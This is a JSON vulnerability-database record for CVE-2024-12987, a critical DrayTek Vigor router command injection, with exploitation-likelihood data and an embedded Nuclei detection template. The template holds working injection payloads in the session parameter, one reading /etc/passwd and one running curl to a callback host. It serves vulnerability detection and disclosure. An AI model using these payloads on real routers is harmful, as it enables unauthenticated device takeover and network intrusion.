{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-12987/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-12987/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-12987/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-12987/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-12987/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-12987"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-12987"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.98084,
      "kev": true,
      "percentile": 0.9991
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-12987.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-12987\n\ninfo:\n  name: DrayTek Vigor - Command Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    DrayTek Gateway devices (Vigor2960, Vigor300B, etc.) are vulnerable to command injection via the session parameter in the /cgi-bin/mainfunction.cgi/apmcfgupload endpoint. An attacker can inject arbitrary commands and retrieve their output.\n  impact: |\n    Unauthenticated attackers can inject arbitrary system commands through the session parameter in the apmcfgupload endpoint to execute commands on DrayTek routers, enabling complete device compromise and network infiltration.\n  remediation: |\n    Update the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.\n  reference:\n    - https://netsecfish.notion.site/\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-12987\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-12987\n    cwe-id: CWE-78\n    epss-score: 0.98084\n    epss-percentile: 0.99909\n    cpe: cpe:2.3:h:draytek:vigor300b:-:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    fofa-query: '\"excanvas.js\" && \"lang == \\\"zh-cn\\\"\" && \"detectLang\" && server==\"DWS\"'\n    vendor: DrayTek\n    product: Vigor300B\n  tags: cve,cve2024,draytek,rce,router,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |+\n        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccat${IFS}/etc/passwd HTTP/1.0\n        Host: {{Hostname}}\n\n      - |+\n        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccurl${IFS}{{interactsh-url}} HTTP/1.0\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    unsafe: true\n\n    matchers-condition: or\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('root:.*:0:0:', body)\n          - contains(header, 'DWS')\n          - status_code == 200\n        condition: and\n\n      - type: dsl\n        dsl:\n          - contains(interactsh_protocol, 'dns')\n          - contains(header, 'DWS')\n          - status_code == 200\n        condition: and\n# digest: 4a0a004730450221009027800a66584dc41cb98b11b0f495abcffd434a98d9833779cdb9f472cf1aed02204987cb0dbf76c2f3f295898da1d5aed4ecec912018e2da0cf762a5ad0115d8dc:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-12987"
}